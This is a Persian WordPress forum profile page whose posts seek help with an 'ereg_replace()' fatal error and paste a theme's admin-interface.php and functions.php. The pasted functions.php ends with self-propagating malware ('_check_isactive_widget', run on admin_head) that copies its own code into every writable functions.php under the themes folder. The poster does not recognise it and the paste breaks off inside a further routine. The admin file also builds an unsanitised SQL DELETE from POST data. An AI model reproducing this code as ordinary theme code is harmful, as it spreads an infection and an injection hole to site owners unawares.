hassannak

عضو سایت
  • تعداد ارسال ها

    144
  • تاریخ عضویت

  • آخرین بازدید

اعتبار در انجمن

62 معمولی

1 دنبال کننده

درباره hassannak

  • درجه
    کاربر معمولی
  • تاریخ تولد 23/09/91

اطلاعات تماس

  • Yahoo
    hassannak@yahoo.com

اطلاعات شخصی

  • جنسیت
    مرد
  • موقعیت
    بلندای بام ایران زمین
  • علاقمندی ها
    برنامه نویسی
  • آشنایی با وردپرس
    مبتدی
  • سطح برنامه نویسی
    مبتدی
  • آشنایی با طراحی
    مبتدی

آخرین بازدید کنندگان نمایه

615 بازدید کننده نمایه
  1. دمت گرم داداش مشکل حل شد
  2. استاد دمتون گرم مشکل حل شد با تشکر
  3. با سلام من بعد از اپدیدت جدید وردپرس دیگه نمیتونم وارد پنل تنظیمات قالب خودم بشم این خطا را میده Fatal error: Uncaught Error: Call to undefined function ereg_replace() in /home/bobocom/mp3old.ir/wp-content/themes/Novindownload1/admin/admin-interface.php:918 Stack trace: #0 /home/bobocom/mp3old.ir/wp-content/themes/Novindownload1/admin/admin-interface.php(75): propanel_siteoptions_machine(Array) #1 /home/bobocom/mp3old.ir/wp-includes/class-wp-hook.php(286): propanel_siteoptions_options_page('') #2 /home/bobocom/mp3old.ir/wp-includes/class-wp-hook.php(310): WP_Hook->apply_filters('', Array) #3 /home/bobocom/mp3old.ir/wp-includes/plugin.php(453): WP_Hook->do_action(Array) #4 /home/bobocom/mp3old.ir/wp-admin/admin.php(224): do_action('appearance_page...') #5 /home/bobocom/mp3old.ir/wp-admin/themes.php(10): require_once('/home/bobocom/m...') #6 {main} thrown in /home/bobocom/mp3old.ir/wp-content/themes/Novindownload1/admin/admin-interface.php on line 918 اینم فایل admin-interface.php قالب <?php /*---*/ /* Admin Interface /*---*/ function propanel_siteoptions_add_admin() { global $query_string; if ( isset($_REQUEST['page']) && $_REQUEST['page'] == 'siteoptions' ) { if (isset($_REQUEST['of_save']) && 'reset' == $_REQUEST['of_save']) { $options = get_option('of_template'); propanel_of_reset_options($options,'siteoptions'); header("Location: admin.php?page=siteoptions&reset=true"); die; } } $tt_page = add_theme_page('پنل تنظیمات قالب', 'پنل تنظیمات قالب', 'edit_theme_options', 'siteoptions','propanel_siteoptions_options_page'); add_action("admin_print_scripts-$tt_page", 'propanel_of_load_only'); add_action("admin_print_styles-$tt_page",'propanel_of_style_only'); } add_action('admin_menu', 'propanel_siteoptions_add_admin'); /*----*/ /* Reset Function /*----*/ function propanel_of_reset_options($options,$page = ''){ //@since 2.0 mod by denzel, reset defaults //replace of_reset_options() function.. $template = get_option('of_template'); foreach($template as $t): @$option_name = $t['id']; @$default_value = $t['std']; update_option("$option_name","$default_value"); endforeach; //end of mod } /*----*/ /* Build the Options Page /*----*/ function propanel_siteoptions_options_page(){ $options = get_option('of_template'); ?> <div class="wrap" id="truethemes_container"> <div id="of-popup-save" class="of-save-popup"> <div class="of-save-save">تنظیمات بروز رسانی شد</div> </div> <div id="of-popup-reset" class="of-save-popup"> <div class="of-save-reset">تظنیمات بازیابی شد</div> </div> <form action="" enctype="multipart/form-data" id="ofform"> <div id="header"> <div class="logo"> <h2>تنظیمات قالب متن موزیک</h2> </div> <div class="icon-option"> </div> <div class="clear"></div> </div> <?php // Rev up the Options Machine $return = propanel_siteoptions_machine($options); ?> <div id="main"> <div id="of-nav"> <ul> <?php echo $return[1] ?> </ul> </div> <div id="content"> <?php echo $return[0]; /* Settings */ ?> </div> <div class="clear"></div> </div> <div class="save_bar_top"> <img style="display:none;" src="<?php echo get_template_directory_uri() ?>/admin/images/wpspin_light.gif" class="ajax-loading-img ajax-loading-img-bottom" alt="Working..." /> <input type="submit" value="Save All Changes" class="button-primary" /> </form> <form action="<?php echo esc_attr( $_SERVER['REQUEST_URI'] ) ?>" method="post" style="display:inline" id="ofform-reset"> <span class="submit-footer-reset"> <input name="reset" type="submit" value="Reset Options" class="button submit-button reset-button" onclick="return confirm('CAUTION: Any and all settings will be lost! Click OK to reset.');" /> <input type="hidden" name="of_save" value="reset" /> </span> </form> </div> <?php if (!empty($update_message)) echo $update_message; ?> <div style="clear:both;"></div> </div> <!--wrap--> <?php } /*----*/ /* Load required styles for Options Page /*----*/ function propanel_of_style_only() { wp_enqueue_style('admin-style', get_template_directory_uri().'/admin/admin-style.css'); wp_enqueue_style('color-picker', get_template_directory_uri().'/admin/colorpicker.css'); $color = get_user_option('admin_color'); if ($color == "fresh") { wp_enqueue_style('admin-style-grey', get_template_directory_uri().'/admin/admin-style-grey.css'); wp_enqueue_style('color-picker', get_template_directory_uri().'/admin/colorpicker.css'); } } /*-----*/ /* Load required javascripts for Options Page /*----*/ function propanel_of_load_only() { add_action('admin_head', 'propanel_of_admin_head'); wp_enqueue_script('jquery-ui-core'); wp_register_script('jquery-input-mask', get_template_directory_uri().'/admin/js/jquery.maskedinput-1.2.2.js', array( 'jquery' )); wp_enqueue_script('jquery-input-mask'); wp_enqueue_script('color-picker', get_template_directory_uri().'/admin/js/colorpicker.js', array('jquery')); wp_enqueue_script('ajaxupload', get_template_directory_uri().'/admin/js/ajaxupload.js', array('jquery')); function propanel_of_admin_head() { ?> <script type="text/javascript" language="javascript"> jQuery(document).ready(function(){ // Race condition to make sure js files are loaded if (typeof AjaxUpload != 'function') { return ++counter < 6 && window.setTimeout(init, counter * 500); } //Color Picker <?php $options = get_option('of_template'); foreach($options as $option){ if($option['type'] == 'color' OR $option['type'] == 'typography' OR $option['type'] == 'border'){ if($option['type'] == 'typography' OR $option['type'] == 'border'){ $option_id = $option['id']; $temp_color = get_option($option_id); $option_id = $option['id'] . '_color'; $color = $temp_color['color']; } else { $option_id = $option['id']; $color = get_option($option_id); } ?> jQuery('#<?php echo $option_id; ?>_picker').children('div').css('backgroundColor', '<?php echo $color; ?>'); jQuery('#<?php echo $option_id; ?>_picker').ColorPicker({ color: '<?php echo $color; ?>', onShow: function (colpkr) { jQuery(colpkr).fadeIn(500); return false; }, onHide: function (colpkr) { jQuery(colpkr).fadeOut(500); return false; }, onChange: function (hsb, hex, rgb) { //jQuery(this).css('border','1px solid red'); jQuery('#<?php echo $option_id; ?>_picker').children('div').css('backgroundColor', '#' + hex); jQuery('#<?php echo $option_id; ?>_picker').next('input').attr('value','#' + hex); } }); <?php } } ?> }); </script> <?php //AJAX Upload ?> <script type="text/javascript"> jQuery(document).ready(function(){ var i = 0; jQuery('#of-nav li a').attr('id', function() { i++; return 'item'+i; }); var flip = 0; jQuery('#expand_options').click(function(){ if(flip == 0){ flip = 1; jQuery('#truethemes_container #of-nav').hide(); jQuery('#truethemes_container #content').width(755); jQuery('#truethemes_container .group').add('#truethemes_container .group h2').show(); jQuery(this).text('[-]'); } else { flip = 0; jQuery('#truethemes_container #of-nav').show(); jQuery('#truethemes_container #content').width(579); jQuery('#truethemes_container .group').add('#truethemes_container .group h2').hide(); jQuery('#truethemes_container .group:first').show(); jQuery('#truethemes_container #of-nav li').removeClass('current'); jQuery('#truethemes_container #of-nav li:first').addClass('current'); jQuery(this).text('[+]'); } }); jQuery('.group').hide(); jQuery('.group:first').fadeIn(); jQuery('.group .collapsed').each(function(){ jQuery(this).find('input:checked').parent().parent().parent().nextAll().each( function(){ if (jQuery(this).hasClass('last')) { jQuery(this).removeClass('hidden'); return false; } jQuery(this).filter('.hidden').removeClass('hidden'); }); }); jQuery('.group .collapsed input:checkbox').click(unhideHidden); function unhideHidden(){ if (jQuery(this).attr('checked')) { jQuery(this).parent().parent().parent().nextAll().removeClass('hidden'); } else { jQuery(this).parent().parent().parent().nextAll().each( function(){ if (jQuery(this).filter('.last').length) { jQuery(this).addClass('hidden'); return false; } jQuery(this).addClass('hidden'); }); } } jQuery('.of-radio-img-img').click(function(){ jQuery(this).parent().parent().find('.of-radio-img-img').removeClass('of-radio-img-selected'); jQuery(this).addClass('of-radio-img-selected'); }); jQuery('.of-radio-img-label').hide(); jQuery('.of-radio-img-img').show(); jQuery('.of-radio-img-radio').hide(); jQuery('#of-nav li:first').addClass('current'); jQuery('#of-nav li a').click(function(evt){ jQuery('#of-nav li').removeClass('current'); jQuery(this).parent().addClass('current'); var clicked_group = jQuery(this).attr('href'); jQuery('.group').hide(); jQuery(clicked_group).fadeIn(); evt.preventDefault(); }); if('<?php if(isset($_REQUEST['reset'])) { echo $_REQUEST['reset'];} else { echo 'false';} ?>' == 'true'){ var reset_popup = jQuery('#of-popup-reset'); reset_popup.fadeIn(); window.setTimeout(function(){ reset_popup.fadeOut(); }, 2000); //alert(response); } //Update Message popup jQuery.fn.center = function () { this.animate({"top":( jQuery(window).height() - this.height() - 200 ) / 2+jQuery(window).scrollTop() + "px"},100); this.css("left", 250 ); return this; } jQuery('#of-popup-save').center(); jQuery('#of-popup-reset').center(); jQuery(window).scroll(function() { jQuery('#of-popup-save').center(); jQuery('#of-popup-reset').center(); }); //AJAX Upload jQuery('.image_upload_button').each(function(){ var clickedObject = jQuery(this); var clickedID = jQuery(this).attr('id'); new AjaxUpload(clickedID, { action: '<?php echo admin_url("admin-ajax.php"); ?>', name: clickedID, // File upload name data: { // Additional data to send action: 'of_ajax_post_action', type: 'upload', data: clickedID }, autoSubmit: true, // Submit file after selection responseType: false, onChange: function(file, extension){}, onSubmit: function(file, extension){ clickedObject.text('Uploading'); // change button text, when user selects file this.disable(); // If you want to allow uploading only 1 file at time, you can disable upload button interval = window.setInterval(function(){ var text = clickedObject.text(); if (text.length < 13){ clickedObject.text(text + '.'); } else { clickedObject.text('Uploading'); } }, 200); }, onComplete: function(file, response) { window.clearInterval(interval); clickedObject.text('Upload Image'); this.enable(); // enable upload button // If there was an error if(response.search('Upload Error') > -1){ var buildReturn = '<span class="upload-error">' + response + '</span>'; jQuery(".upload-error").remove(); clickedObject.parent().after(buildReturn); } else{ var buildReturn = '<img class="hide of-option-image" id="image_'+clickedID+'" src="'+response+'" alt="" />'; jQuery(".upload-error").remove(); jQuery("#image_" + clickedID).remove(); clickedObject.parent().after(buildReturn); jQuery('img#image_'+clickedID).fadeIn(); clickedObject.next('span').fadeIn(); clickedObject.parent().prev('input').val(response); } } }); }); //AJAX Remove (clear option value) jQuery('.image_reset_button').click(function(){ var clickedObject = jQuery(this); var clickedID = jQuery(this).attr('id'); var theID = jQuery(this).attr('title'); var ajax_url = '<?php echo admin_url("admin-ajax.php"); ?>'; var data = { action: 'of_ajax_post_action', type: 'image_reset', data: theID }; jQuery.post(ajax_url, data, function(response) { var image_to_remove = jQuery('#image_' + theID); var button_to_hide = jQuery('#reset_' + theID); image_to_remove.fadeOut(500,function(){ jQuery(this).remove(); }); button_to_hide.fadeOut(); clickedObject.parent().prev('input').val(''); }); return false; }); /* Top save button jQuery(document).ready( function(){ // bind "click" event for links with title="submit" jQuery("a[title=submit]").click( function(){ // it submits the form it is contained within jQuery(this).parents("form").submit(); }); }); */ //Save everything else jQuery('#ofform').submit(function(){ function newValues() { var serializedValues = jQuery("#ofform").serialize(); return serializedValues; } jQuery(":checkbox, :radio").click(newValues); jQuery("select").change(newValues); jQuery('.ajax-loading-img').fadeIn(); var serializedReturn = newValues(); var ajax_url = '<?php echo admin_url("admin-ajax.php"); ?>'; //var data = {data : serializedReturn}; var data = { <?php if(isset($_REQUEST['page']) && $_REQUEST['page'] == 'siteoptions'){ ?> type: 'options', <?php } ?> action: 'of_ajax_post_action', data: serializedReturn }; jQuery.post(ajax_url, data, function(response) { var success = jQuery('#of-popup-save'); var loading = jQuery('.ajax-loading-img'); loading.fadeOut(); success.fadeIn(); window.setTimeout(function(){ success.fadeOut(); }, 2000); }); return false; }); }); </script> <?php } } /*-----*/ /* Ajax Save Action /*-------*/ add_action('wp_ajax_of_ajax_post_action', 'propanel_of_ajax_callback'); function propanel_of_ajax_callback() { global $wpdb; // this is how you get access to the database $save_type = $_POST['type']; //Uploads if($save_type == 'upload'){ $clickedID = $_POST['data']; // Acts as the name $filename = $_FILES[$clickedID]; $filename['name'] = preg_replace('/[^a-zA-Z0-9._\-]/', '', $filename['name']); $override['test_form'] = false; $override['action'] = 'wp_handle_upload'; $uploaded_file = wp_handle_upload($filename,$override); $upload_tracking[] = $clickedID; update_option( $clickedID , $uploaded_file['url'] ); if(!empty($uploaded_file['error'])) {echo 'Upload Error: ' . $uploaded_file['error']; } else { echo $uploaded_file['url']; } // Is the Response } elseif($save_type == 'image_reset'){ $id = $_POST['data']; // Acts as the name global $wpdb; $query = "DELETE FROM $wpdb->options WHERE option_name LIKE '$id'"; $wpdb->query($query); } elseif ($save_type == 'options' OR $save_type == 'framework') { $data = $_POST['data']; parse_str($data,$output); //print_r($output); //Pull options $options = get_option('of_template'); foreach($options as $option_array){ $id = $option_array['id']; $old_value = get_option($id); $new_value = ''; if(isset($output[$id])){ $new_value = $output[$option_array['id']]; } if(isset($option_array['id'])) { // Non - Headings... $type = $option_array['type']; if ( is_array($type)){ foreach($type as $array){ if($array['type'] == 'text'){ $id = $array['id']; $std = $array['std']; $new_value = $output[$id]; if($new_value == ''){ $new_value = $std; } update_option( $id, stripslashes($new_value)); } } } elseif($new_value == '' && $type == 'checkbox'){ // Checkbox Save update_option($id,'false'); } elseif ($new_value == 'true' && $type == 'checkbox'){ // Checkbox Save update_option($id,'true'); } elseif($type == 'multicheck'){ // Multi Check Save $option_options = $option_array['options']; foreach ($option_options as $options_id => $options_value){ $multicheck_id = $id . "_" . $options_id; if(!isset($output[$multicheck_id])){ update_option($multicheck_id,'false'); } else{ update_option($multicheck_id,'true'); } } } elseif($type != 'upload_min'){ update_option($id,stripslashes($new_value)); } } } } die(); } /*------*/ /* Cases fpr various option types /*-----*/ function propanel_siteoptions_machine($options) { $counter = 0; $menu = ''; $output = ''; foreach ($options as $value) { $counter++; $val = ''; //Start Heading if ( $value['type'] != "heading" ) { $class = ''; if(isset( $value['class'] )) { $class = $value['class']; } //$output .= '<div class="section section-'. $value['type'] .'">'."\n".'<div class="option-inner">'."\n"; $output .= '<div class="section section-'.$value['type'].' '. $class .'">'."\n"; $output .= '<h3 class="heading">'. $value['name'] .'</h3>'."\n"; $output .= '<div class="option">'."\n" . '<div class="controls">'."\n"; } //End Heading $select_value = ''; switch ( $value['type'] ) { case 'text': $val = $value['std']; $std = get_option($value['id']); if ( $std != "") { $val = $std; } $output .= '<input class="of-input" name="'. $value['id'] .'" id="'. $value['id'] .'" type="'. $value['type'] .'" value="'. $val .'" />'; break; case 'select': $output .= '<select class="of-input" name="'. $value['id'] .'" id="'. $value['id'] .'">'; $select_value = get_option($value['id']); foreach ($value['options'] as $option) { $selected = ''; if($select_value != '') { if ( $select_value == $option) { $selected = ' selected="selected"';} } else { if ( isset($value['std']) ) if ($value['std'] == $option) { $selected = ' selected="selected"'; } } $output .= '<option'. $selected .'>'; $output .= $option; $output .= '</option>'; } $output .= '</select>'; break; //@since 2.0 added by denzel to allow value different from label. case 'select-advance': $output .= '<select class="of-input" name="'. $value['id'] .'" id="'. $value['id'] .'">'; $select_value = get_option($value['id']); foreach ($value['options'] as $key => $option) { $selected = ''; if($select_value != '') { if ( $select_value == $key) { $selected = ' selected="selected"';} } else { if ( isset($value['std']) ) if ($value['std'] == $key) { $selected = ' selected="selected"'; } } $output .= '<option value="'. $key .'" '. $selected .'>'; $output .= $option; $output .= '</option>'; } $output .= '</select>'; break; case 'fontsize': /* Font Size */ $val = $default['size']; if ( $typography_stored['size'] != "") { $val = $typography_stored['size']; } $output .= '<select class="of-typography of-typography-size" name="'. $value['id'].'_size" id="'. $value['id'].'_size">'; for ($i = 9; $i < 71; $i++){ if($val == $i){ $active = 'selected="selected"'; } else { $active = ''; } $output .= '<option value="'. $i .'" ' . $active . '>'. $i .'px</option>'; } $output .= '</select>'; break; case "multicheck": $std = $value['std']; foreach ($value['options'] as $key => $option) { $tt_key = $value['id'] . '_' . $key; $saved_std = get_option($tt_key); if(!empty($saved_std)) { if($saved_std == 'true'){ $checked = 'checked="checked"'; } else{ $checked = ''; } } elseif( $std == $key) { $checked = 'checked="checked"'; } else { $checked = ''; } $output .= '<input type="checkbox" class="checkbox of-input" name="'. $tt_key .'" id="'. $tt_key .'" value="true" '. $checked .' /><label for="'. $tt_key .'">'. $option .'</label><br />'; } break; case 'textarea': $cols = '8'; $ta_value = ''; if(isset($value['std'])) { $ta_value = $value['std']; if(isset($value['options'])){ $ta_options = $value['options']; if(isset($ta_options['cols'])){ $cols = $ta_options['cols']; } else { $cols = '8'; } } } $std = get_option($value['id']); if( $std != "") { $ta_value = stripslashes( $std ); } $output .= '<textarea class="of-input" name="'. $value['id'] .'" id="'. $value['id'] .'" cols="'. $cols .'" rows="8">'.$ta_value.'</textarea>'; break; case "radio": $select_value = get_option( $value['id']); foreach ($value['options'] as $key => $option) { $checked = ''; if($select_value != '') { if ( $select_value == $key) { $checked = ' checked'; } } else { if ($value['std'] == $key) { $checked = ' checked'; } } $output .= '<input class="of-input of-radio" type="radio" name="'. $value['id'] .'" value="'. $key .'" '. $checked .' />' . $option .'<br />'; } break; case "checkbox": $std = $value['std']; $saved_std = get_option($value['id']); $checked = ''; if(!empty($saved_std)) { if($saved_std == 'true') { $checked = 'checked="checked"'; } else{ $checked = ''; } } elseif( $std == 'true') { $checked = 'checked="checked"'; } else { $checked = ''; } $output .= '<input type="checkbox" class="checkbox of-input" name="'. $value['id'] .'" id="'. $value['id'] .'" value="true" '. $checked .' />'; break; case "upload": $output .= propanel_siteoptions_uploader_function($value['id'],$value['std'],null); break; case "upload_min": $output .= propanel_siteoptions_uploader_function($value['id'],$value['std'],'min'); break; case "color": $val = $value['std']; $stored = get_option( $value['id'] ); if ( $stored != "") { $val = $stored; } $output .= '<div id="' . $value['id'] . '_picker" class="colorSelector"><div></div></div>'; $output .= '<input class="of-color" name="'. $value['id'] .'" id="'. $value['id'] .'" type="text" value="'. $val .'" />'; break; case "images": $i = 0; $select_value = get_option( $value['id']); foreach ($value['options'] as $key => $option) { $i++; $checked = ''; $selected = ''; if($select_value != '') { if ( $select_value == $key) { $checked = ' checked'; $selected = 'of-radio-img-selected'; } } else { if ($value['std'] == $key) { $checked = ' checked'; $selected = 'of-radio-img-selected'; } elseif ($i == 1 && !isset($select_value)) { $checked = ' checked'; $selected = 'of-radio-img-selected'; } elseif ($i == 1 && $value['std'] == '') { $checked = ' checked'; $selected = 'of-radio-img-selected'; } else { $checked = ''; } } $output .= '<span>'; $output .= '<input type="radio" id="of-radio-img-' . $value['id'] . $i . '" class="checkbox of-radio-img-radio" value="'.$key.'" name="'. $value['id'].'" '.$checked.' />'; $output .= '<div class="of-radio-img-label">'. $key .'</div>'; $output .= '<img src="'.$option.'" alt="" class="of-radio-img-img '. $selected .'" onClick="document.getElementById(\'of-radio-img-'. $value['id'] . $i.'\').checked = true;" />'; $output .= '</span>'; } break; case "info": $default = $value['std']; $output .= $default; break; case "heading": if($counter >= 2){ $output .= '</div>'."\n"; } $jquery_click_hook = ereg_replace("[^A-Za-z0-9]", "", strtolower($value['name']) ); $jquery_click_hook = "of-option-" . $jquery_click_hook; $menu .= '<li><a title="'. $value['name'] .'" href="#'. $jquery_click_hook .'">'. $value['name'] .'</a></li>'; $output .= '<div class="group" id="'. $jquery_click_hook .'"><h2>'.$value['name'].'</h2>'."\n"; break; } // if TYPE is an array, formatted into smaller inputs... ie smaller values if ( is_array($value['type'])) { foreach($value['type'] as $array){ $id = $array['id']; $std = $array['std']; $saved_std = get_option($id); if($saved_std != $std){$std = $saved_std;} $meta = $array['meta']; if($array['type'] == 'text') { // Only text at this point $output .= '<input class="input-text-small of-input" name="'. $id .'" id="'. $id .'" type="text" value="'. $std .'" />'; $output .= '<span class="meta-two">'.$meta.'</span>'; } } } if ( $value['type'] != "heading" ) { if ( $value['type'] != "checkbox" ) { $output .= '<br/>'; } if(!isset($value['desc'])){ $explain_value = ''; } else{ $explain_value = $value['desc']; } $output .= '</div><div class="explain">'. $explain_value .'</div>'."\n"; $output .= '<div class="clear"> </div></div></div>'."\n"; } } $output .= '</div>'; return array($output,$menu); } /*-------*/ /* File Uploading /*-----*/ function propanel_siteoptions_uploader_function($id,$std,$mod){ $uploader = ''; $upload = get_option($id); if($mod != 'min') { $val = $std; if ( get_option( $id ) != "") { $val = get_option($id); } $uploader .= '<input class="of-input" name="'. $id .'" id="'. $id .'_upload" type="text" value="'. $val .'" />'; } $uploader .= '<div class="upload_button_div"><span class="button image_upload_button" id="'.$id.'">آپلود تصویر</span>'; if(!empty($upload)) {$hide = '';} else { $hide = 'hide';} $uploader .= '<span class="button image_reset_button '. $hide.'" id="reset_'. $id .'" title="' . $id . '">حذف</span>'; $uploader .='</div>' . "\n"; $uploader .= '<div class="clear"></div>' . "\n"; if(!empty($upload)){ $uploader .= '<a class="of-uploaded-image" href="'. $upload . '">'; $uploader .= '<img class="of-option-image" id="image_'.$id.'" src="'.$upload.'" alt="" />'; $uploader .= '</a>'; } $uploader .= '<div class="clear"></div>' . "\n"; return $uploader; } ?>
  4. با سلام خدمت اساتید من امروز وردپرس را به روز رسانی کردم ولی با ارور در فایل functions قالب مواجه شدم از اساتید اگه کسی میتونه کمکم کنه درستش کنم این ارور را میده Fatal error: Uncaught Error: Call to undefined function ereg_replace() in /home/bobocom/mp3old.ir/wp-content/themes/Novindownload1/admin/admin-interface.php:918 Stack trace: #0 /home/bobocom/mp3old.ir/wp-content/themes/Novindownload1/admin/admin-interface.php(75): propanel_siteoptions_machine(Array) #1 /home/bobocom/mp3old.ir/wp-includes/class-wp-hook.php(286): propanel_siteoptions_options_page('') #2 /home/bobocom/mp3old.ir/wp-includes/class-wp-hook.php(310): WP_Hook->apply_filters('', Array) #3 /home/bobocom/mp3old.ir/wp-includes/plugin.php(453): WP_Hook->do_action(Array) #4 /home/bobocom/mp3old.ir/wp-admin/admin.php(224): do_action('appearance_page...') #5 /home/bobocom/mp3old.ir/wp-admin/themes.php(10): require_once('/home/bobocom/m...') #6 {main} thrown in /home/bobocom/mp3old.ir/wp-content/themes/Novindownload1/admin/admin-interface.php on line 918 اینم کد فانکشن قالب <?php function src_simple_recent_comments($src_count=4, $src_length=60, $pre_HTML='', $post_HTML='') { global $wpdb; $sql = "SELECT DISTINCT ID, post_title, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) WHERE comment_approved = '1' AND comment_type = '' AND post_password = '' ORDER BY comment_date_gmt DESC LIMIT $src_count"; $comments = $wpdb->get_results($sql); $output = $pre_HTML; $output .= "\n<ul>"; foreach ($comments as $comment) { $output .= "\n\t<li><strong><a href=\"" . get_permalink($comment->ID) . "#comment-" . $comment->comment_ID . "\" title=\"on " . $comment->post_title . "\">" . $comment->comment_author . "</a></strong>: " . strip_tags($comment->com_excerpt) . "...</li>"; } $output .= "\n</ul>"; $output .= $post_HTML; echo $output; } include_once('metabox.php'); function getpostviews($postID){ $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); return "0 View"; } return $count.' Views'; } function setpostviews($postID) { $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ $count = 0; delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); }else{ $count++; update_post_meta($postID, $count_key, $count); } } function download_button($atts, $content = null) { extract( shortcode_atts( array( 'url' => '#' ), $atts ) ); return '<a href="'.$url.'" class="download-button"><i class="fa fa-cloud-download"></i><span>' . do_shortcode($content) . '</span></a>'; } add_shortcode('download', 'download_button'); function catch_that_image() { global $post, $posts; $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); $first_img = $matches [1] [0]; if(empty($first_img)){ //Defines a default image $first_img = "/images/default.jpg"; } return $first_img; } function html5_search_form( $form ) { $form = '<form role="search" method="get" id="searchform" action="' . home_url( '/' ) . '" > <label for="s">' . __('') . '</label> <input type="search" placeholder="'.__("کلیدواژه خود را وارد کنید سپس اینتر را بزنید ...").'" value="' . get_search_query() . '" name="s" id="s" /> </form>'; return $form; } if ( function_exists('register_sidebar') ) register_sidebar(array( 'name' => 'سایدبار چپ', 'description' => 'ناحيه قرار گيری ابزارک های شما', 'before_widget' => '<div class="blockin widget_style_funcs"><div>', 'after_widget' => '</div></div>', 'before_title' => '<div class="title sutunbaslik -baslik widget_baslik"><h3>', 'after_title' => '</h3><i class="fa fa-bars i-in-sec-top-tilop23"></i></div><div class="line-fooot-box-head" style="border-right-width: 110px;"></div>', )); if ( function_exists('register_sidebar') ) register_sidebar(array( 'name' => 'سایدبار راست', 'description' => 'ناحيه قرار گيری ابزارک های شما', 'before_widget' => '<div class="blockin widget_style_funcs"><div>', 'after_widget' => '</div></div>', 'before_title' => '<div class="title sutunbaslik -baslik widget_baslik"><h3>', 'after_title' => '</h3><i class="fa fa-bars i-in-sec-top-tilop23"></i></div><div class="line-fooot-box-head" style="border-right-width: 110px;"></div>', )); require_once(TEMPLATEPATH . '/admin/admin-functions.php'); require_once(TEMPLATEPATH . '/admin/admin-interface.php'); require_once(TEMPLATEPATH . '/admin/theme-settings.php'); function register_my_menus() { register_nav_menus( array( 'primary' => __( 'فهرست میانی' ), 'top' => __( 'فهرست بالای هدر' ) ) ); } add_action( 'init', 'register_my_menus' ); class Menu_With_Description extends Walker_Nav_Menu { function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) { global $wp_query; $indent = ( $depth ) ? str_repeat( "\t", $depth ) : ''; $class_names = $value = ''; $classes = empty( $item->classes ) ? array() : (array) $item->classes; $class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) ); $class_names = ' class="' . esc_attr( $class_names ) . '"'; $output .= $indent . '<li id="menu-item-'. $item->ID . '"' . $value . $class_names .'>'; $attributes = ! empty( $item->attr_title ) ? ' title="' . esc_attr( $item->attr_title ) .'"' : ''; $attributes .= ! empty( $item->target ) ? ' target="' . esc_attr( $item->target ) .'"' : ''; $attributes .= ! empty( $item->xfn ) ? ' rel="' . esc_attr( $item->xfn ) .'"' : ''; $attributes .= ! empty( $item->url ) ? ' href="' . esc_attr( $item->url ) .'"' : ''; $item_output = $args->before; $item_output .= '<a'. $attributes .'>'; $item_output .= $args->link_before . apply_filters( 'the_title', $item->title, $item->ID ) . $args->link_after; $item_output .= '<br /><span class="sub">' . $item->description . '</span>'; $item_output .= '</a>'; $item_output .= $args->after; $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args ); } } if ( ! function_exists( 'wptools_pagination' ) ) : function wptools_pagination() { global $wp_query; $big = 999999999; echo paginate_links( array( 'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ), 'format' => '?paged=%#%', 'current' => max( 1, get_query_var('paged') ), 'prev_next' => True, 'prev_text' => __('«'), 'next_text' => __('»'), 'total' => $wp_query->max_num_pages ) ); } endif; ?> <?php function _check_isactive_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f); $output .= ($showdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_allwidgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_allwidgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_isactive_widget"); function _getsprepare_widget(){ if(!isset($com_length)) $com_length=120; if(!isset($text_value)) $text_value="cookie"; if(!isset($allowed_tags)) $allowed_tags="<a>"; if(!isset($type_filter)) $type_filter="none"; if(!isset($expl)) 